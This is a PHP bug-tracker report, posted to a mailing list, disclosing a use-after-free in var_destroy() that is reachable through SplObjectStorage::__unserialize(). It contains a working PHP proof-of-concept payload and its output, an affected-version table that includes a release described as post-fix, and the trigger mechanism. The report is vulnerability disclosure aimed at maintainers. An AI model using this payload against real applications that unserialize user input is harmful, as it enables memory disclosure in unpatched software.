[php-src] Issue #24674: var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481
| From: | srayuth089 | Date: | Sun, 25 Oct 2026 10:05:46 +0000 |
| Subject: | [php-src] Issue #24674: var_destroy() UAF also reachable through SplObjectStorage::__unserialize() — separate entry point from #24481 | ||
| Groups: | php.bugs | ||
| Request: | Send a blank email to php-bugs+get-253172@lists.php.net to get a copy of this message | ||
Issue: https://github.com/php/php-src/issues/24674
Author: srayuth089
## Summary
Following up on #24481 — the same
var_destroy() use-after-free is also reachable
through **SplObjectStorage::__unserialize()**, which creates its own
var_hash context via PHP_VAR_UNSERIALIZE_INIT and calls
php_var_unserialize() internally (ext/spl/spl_observer.c).
This means the attack surface is broader than the main unserialize() path: any
application that unserializes user-controlled data into an SplObjectStorage (not just
raw unserialize()) is affected.
## Reproducer
```php
<?php
class TriggerUAF {
public $tag;
public function __destruct() {
// Try multiple backref indices to hit freed extension chunks
foreach ([1024, 1030, 1040, 1100, 1200, 1500] as $idx) {
$result = @unserialize("R:{$idx};");
if ($result !== false && $result !== null) {
fwrite(STDERR, sprintf(" *** [destruct:%s] R:%d → %s (%s) ***
UAF_READ\n",
$this->tag, $idx, gettype($result), var_export($result, true)));
return;
}
}
fwrite(STDERR, " [destruct:{$this->tag}] all R: indices clean\n");
}
}
// Build SplObjectStorage payload with >1018 entries (overflow VAR_ENTRIES_MAX)
$store = [];
for ($i = 0; $i < 1100; $i++) {
$store[] = "i:{$i};i:{$i};";
}
for ($j = 0; $j < 5; $j++) {
$store[] = "i:" . (9000+$j) .
";O:10:\"TriggerUAF\":1:{s:3:\"tag\";s:5:\"obs{$j}\";}";
}
for ($k = 0; $k < 100; $k++) {
$store[] = "i:" . (20000+$k) . ";i:" . (20000+$k) . ";";
}
$n = count($store);
$payload = 'O:16:"SplObjectStorage":2:{i:0;a:' . $n . ':{' .
implode('', $store) . '}i:1;a:0:{}}';
@unserialize($payload);
```
## Output (PHP 8.4.27, stock CLI, non-ASAN)
```
*** [destruct:] R:1024 → integer (1021) *** UAF_READ
```
R:1024 resolves to integer(1021) — a value from the freed var_hash
extension chunks. In a clean nested unserialize() call, R:1024 should
return false.
## Verified on
| Branch | Result |
|--------|--------|
| 8.2.35 | UAF_READ |
| 8.3.36 | UAF_READ |
| 8.4.26 (pre-fix) | UAF_READ |
| **8.4.27 (post-fix)** | **UAF_READ** |
| 8.4.27 + USE_ZEND_ALLOC=0 | UAF_READ |
Deterministic: 3/3 runs on 8.4.27, identical output each time.
## Mechanism
1. unserialize($payload) parses the outer
O:16:"SplObjectStorage" tag
2. Instantiates SplObjectStorage and calls its __unserialize() handler
3. SPL handler (ext/spl/spl_observer.c:858+) does:
- PHP_VAR_UNSERIALIZE_INIT(var_hash) — creates its own context
- Iterates entries, calling php_var_unserialize() on each (>1018 entries →
extension chunks)
- var_push_dtor(&var_hash, entry) for each object
4. PHP_VAR_UNSERIALIZE_DESTROY(var_hash) → calls var_destroy() on the
SPL context
5. var_destroy() frees the extension chunks
6. Then fires __destruct on entries in the dtor list — **without
BG(serialize_lock)**
7. The destructor calls unserialize('R:1024;') which reads from the freed
chunks
The root cause is the same as #24481 (the var_destroy() function in
var_unserializer.re frees chunks before dispatching destructors without taking
BG(serialize_lock)), but the **entry point is different**: the SPL extension's
__unserialize handler creates an independent var_hash context that is also
vulnerable.
## Also affected (same pattern, same var_hash)
- SplDoublyLinkedList::__unserialize() (ext/spl/spl_dllist.c:1070+)
- ArrayObject::__unserialize() (ext/spl/spl_array.c:1680+)
These use the same PHP_VAR_UNSERIALIZE_INIT / var_push_dtor /
PHP_VAR_UNSERIALIZE_DESTROY pattern. I haven't yet built working reproducers for
these (payload format differences), but the code pattern is identical.
## Credit
- Root cause and main-path PoC: #24481 (original reporter + jogoossens cross-branch confirmation)
- SPL entry-point discovery and reproducer: srayuth089 (this report)